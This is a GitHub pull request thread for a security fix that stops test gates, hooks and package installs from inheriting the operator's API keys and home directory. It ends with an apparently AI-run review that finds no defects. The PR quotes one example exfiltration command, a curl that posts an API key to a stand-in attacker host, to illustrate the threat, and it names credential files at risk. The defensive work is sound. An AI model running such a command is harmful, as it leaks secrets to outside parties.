fix(security): run plan-engine and gate subprocesses with one allowlisted environment (#907)

[frankbria]

Closes #907. Also closes #995, which I filed from the #905 review describing the gates half of this.

Problem

tools.py built an env allowlist and passed env= precisely because inheriting the operator's environment is an exfiltration path (#721). Two families of subprocess never got that treatment:

• Executor._execute_shell_command — all three branches, no env=. A step like pytest; curl -d "$ANTHROPIC_API_KEY" evil.tld takes the shell=True branch and the shell expands the key. is_dangerous_command blocks destruction, not exfiltration; that command matches none of its patterns.
• Every gates.py runner — pytest, ruff, mypy, npm test/lint/build, tsc, python build, and the auto-installs (uv pip install, pip install, npm install). In hosted mode that means tenant repo code — a collected conftest.py, an npm postinstall — runs with the server's ANTHROPIC_API_KEY, CODEFRAME_API_KEY_SECRET, and JWT secret.

Fix

All of it converges on core/agent_env.py:build_agent_env(), the leaf module added in #905.

Surface	Before	Now
run_command, run_tests (ReAct)	already routed (#905)	unchanged
Executor._execute_shell_command	already routed (#905)	unchanged
gates.py — all 13 subprocess.run calls	no env=	env=build_agent_env(repo_path)
quick_fixes.py package install	no env=	routed — a package's postinstall is repo code
agent.py LLM-authored argv runner	no env=	routed
agent.py ruff --fix	no env=	routed, for consistency
hooks.py lifecycle hooks	full os.environ	routed (found in review)

The last three were not named in the issue. I found them auditing for siblings, which is the pattern that produced review findings on the previous two PRs: fixing the callers an issue lists and leaving the identical shape one file over.

build_agent_env now accepts str | Path, since gates.py passes repo_path in both shapes.

Beyond the allowlist, gate subprocesses also inherit the #905 sandboxed HOME/XDG_*. That matters here: without it, tenant code just reads ~/.codeframe/credentials.encrypted and re-derives the same keys the allowlist withheld — the pointer is as good as the value.

Tests

tests/core/test_subprocess_env_isolation_907.py — 10 tests, using real secret names (ANTHROPIC_API_KEY, OPENAI_API_KEY, E2B_API_KEY, CODEFRAME_API_KEY_SECRET, AUTH_SECRET, GITHUB_TOKEN) rather than placeholders, so a rename that drops one is caught.

• The gate test writes a conftest.py that records os.environ to a file and runs the real pytest gate — repo code actually executing inside the gate, asserted on what it saw.
• Plan-engine tests cover both branches: && forces shell=True where $VAR expands, and a python3 -c step exercises the shlex-split argv branch that reads os.environ directly.
• One test asserts a source invariant — every subprocess.run( in gates.py is matched by an env=. I would normally not test source text, but the 13 runners need toolchains (npm, mypy, tsc) that are not all present, so behaviour cannot reach them. It is the cheapest thing that fails when spawn site Add Quality Ratchet System #14 is added without env=.
• Two guard against over-correcting: the sanitized env still runs a real command, and os.environ is not mutated for the parent.

Mutation-checked: stripping env= from gates, the executor, quick_fixes, or hooks fails 6 of the 13.

A correction to #905, made here. That PR claimed the sandbox-HOME failure path "fails closed" by dropping HOME. It does not — with the variable unset, expanduser("~") falls back to getpwuid() and resolves the operator's real home, so the child quietly regained ~/.codeframe, ~/.npmrc, and ~/.config/gh while the gate reported an ordinary pass/fail:

$ env -u HOME python3 -c "import os; print(os.path.expanduser('~'))"
/home/frankbria

The failure path now still sets HOME to the uncreatable sandbox path and logs a warning: the pointer stays away from the operator, and anything that genuinely needs to write there fails visibly.

284 tests across test_gates_edge_cases, test_gates_observability, test_proof9, test_proof_runner_outcomes, test_executor, test_tools pass unchanged — no gate regressed from the sandboxed environment.

Known limitations

• Delegated agent adapters still inherit the full environment (subprocess_adapter.py, adapters/codex.py). Those CLIs need provider credentials to function, so it is a design question rather than a one-liner. Tracked in [P0.25] Delegated agent adapters inherit the operator's full environment and HOME #996.
• A workspace .env containing real keys is still readable by repo code, since gates must run with cwd=repo_path. Not a leak this change creates — the file ships inside the repository — but worth knowing if you keep live credentials in a project .env.
• PATH still reveals the operator's home location (/home/user/.local/bin). Knowing the path is not the constraint: the subprocess runs as the operator and can read any absolute path regardless. That is the documented "not containment" limit from [P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905; the answer is OS-level isolation, not a narrower allowlist.
• A project whose test suite legitimately needs the operator's ~/.npmrc or ~/.aws will now see a sandboxed HOME. No escape hatch is added here because nothing has asked for one; the same sandbox has applied to the ReAct engine's run_tests since [P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905.

[github-actions]

Claude Code is working…

I'll analyze this and get back to you.

View job run

[github-actions]

Precision bug review in progress

Analyzing PR #998 for concrete defects only (logic errors, security, data loss, contract breaks).

• Gather PR diff and context
• Review each changed hunk against surrounding code
• Confirm findings with concrete failure scenarios
• Post inline findings + summary

View job run

[frankbria]

Cross-family adversarial review (codex) — 4 findings triaged

Fixed (2)

1. Lifecycle hooks still inherited the full environment (hooks.py:133) — my own code from #905. Real, and squarely in this issue's scope: a hook is a shell command from repo config. The trust gate answers "may this command run"; it does not answer "with what privileges". Those are separate controls, and an operator approving ./deploy.sh has not thereby approved it reading ANTHROPIC_API_KEY. Hooks now get build_agent_env() with the hook context variables layered on top.

2. The sandbox-HOME failure path failed open, not closed. This is a correction to a claim I made in #905 and repeated in the module comment. Verified:

$ env -u HOME python3 -c "import os; print(os.path.expanduser('~'))"
/home/frankbria

With HOME unset, expanduser("~") falls back to getpwuid() and resolves the operator's real home — so popping the variable handed the child back ~/.codeframe, ~/.npmrc, ~/.config/gh, quietly, while the gate reported an ordinary pass/fail. The failure path now still sets HOME to the (uncreatable) sandbox path and logs a warning: the pointer stays away from the operator, and a tool that genuinely needs to write there fails visibly instead of silently succeeding against the wrong directory.

Accepted as known (2)

3. PATH leaks the operator's home location (/home/codeframe/.local/bin → /home/codeframe/.env). True, but knowing the path is not the constraint — the subprocess runs as the operator and can read any absolute path regardless, which is the documented "this is not containment" limitation from #905. Stripping PATH would break every gate. The answer is OS-level isolation, not a narrower allowlist.

4. Workspace .env files are still readable by repo code (cwd=repo_path). True, and not a leak this change creates: the file is inside the repository the code already ships in. For a hostile repo it is the attacker's own file; for a hosted tenant it is that tenant's. Worth noting for operators who keep real keys in a project .env — flagged in the PR body rather than fixed, since gates must run in the workspace.

Three new tests, all mutation-checked. One note on method: my first mutation run showed test_hook_still_receives_its_context_values failing too, which would have been a bad signal — ruff had removed the now-unused import os, so the mutation raised NameError rather than restoring the old behaviour. Redone with the import intact: the leak test fails and the context-values test passes, which is the discrimination I wanted.

[github-actions]

Claude finished @frankbria's task in 6m 41s —— View job

---

Precision bug review — PR #998

Analyzed for concrete defects only (logic errors, security, data loss, contract breaks). Style, naming, architecture, and coverage are out of scope — a general review handles those.

• Gather PR diff and context
• Review each changed hunk against surrounding code
• Confirm findings with concrete failure scenarios
• Post summary

✅ GLM review: no defects found.

What I verified against the checked-out code (not the diff alone):

• agent_env.py fail-closed restructure is correct. On the OSError path, HOME/XDG_* are now set to sandbox_home (a non-existent path) rather than dropped. os.path.expanduser("~") returns os.environ["HOME"] verbatim when set and only falls back to getpwuid().pw_dir when unset — so the old pop("HOME") handed the child back to the operator's real home (fail-open), and setting it to a missing dir is genuinely fail-closed. The unconditional assignment lives outside the try and always points at <workspace>/.codeframe/agent-home, never the operator's home, so there's no state where secrets are re-reachable via HOME. (I attempted to re-run the expanduser demo live, but the sandbox blocked the python3 invocation; the verdict follows from CPython's posixpath.expanduser and the author's verification.)
• All 13 gates.py spawn sites are covered — grep confirms exactly 13 subprocess.run( and 13 env=build_agent_env(repo_path),, with no check_call/Popen/os.system siblings. Each function (_ensure_dependencies_installed, _run_pytest, _run_ruff, _run_mypy, _run_npm_test/lint/build, _run_python_build, _run_tsc, run_lint_on_file, run_autofix_on_file) declares repo_path: Path, so the arg is in scope and correctly typed everywhere it's referenced.
• hooks.py merge is safe — {**build_agent_env(workspace_path), **hook_context_env(ctx)} keeps context vars (CF_HOOK_*) layered on top. The import os removal is clean: no remaining os. references. build_agent_env is only reached via execute_hook's try/except Exception, so a creation failure degrades to a logged non-blocking hook result rather than an unhandled crash.
• quick_fixes.py and agent.py — repo_path / self.workspace.repo_path are in scope at both new call sites; build_agent_env now accepts Path | str, matching how gates.py/hooks.py pass the path.
• No mutation/over-broad risk: build_agent_env builds a fresh dict and never mutates os.environ (the allowlist copy is read-only); the venv PATH prepend uses .get("PATH", "").

No inline findings to post. The npm/pip sandboxed-HOME behavioral change and the PATH/.env exposure are already documented as known limitations in the PR body, not defects introduced here.